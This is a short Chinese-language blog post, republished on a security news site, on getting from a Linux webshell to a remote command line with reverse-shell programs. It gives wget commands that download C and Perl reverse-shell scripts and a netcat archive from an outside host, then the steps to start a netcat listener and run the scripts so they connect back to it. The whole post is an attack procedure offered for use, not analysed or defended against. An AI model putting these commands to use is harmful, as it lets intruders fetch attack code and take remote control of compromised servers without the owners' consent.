linux下反弹shell脚本 C版和Perl版 webshell反弹回命令行

暗月博客 2019年11月21日20:33:59评论1,100 views字数 336阅读1分7秒阅读模式
摘要

在线下载 可以用
wget http://www.linux so.com/exp/shell.c
wget http://www.linuxso.com/exp/shell.pl

在线下载 可以用
wget http://www.linuxso.com/exp/shell.c
wget http://www.linuxso.com/exp/shell.pl

C语言版 用法说明:
在外网linux上监听 nc -l -p 端口
gcc -o shell shell.c
./shell ip 端口

perl版 用法;
在外网linux上监听 nc -l -p 端口
perl shell.pl ip 端口

如果没有装NC 可以在线下载
wget http://www.linuxso.com/exp/nc.tar.gz
解压 编译 安装 即可
tar -zxvf nc.tar.gz
cd netcat-0.7.1
configure //也可以用prefix指定个路径
make
make install

然后就可以监听了 命令 nc -l -p port

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日20:33:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   linux下反弹shell脚本 C版和Perl版 webshell反弹回命令行http://cn-sec.com/archives/71900.html

发表评论

匿名网友 填写信息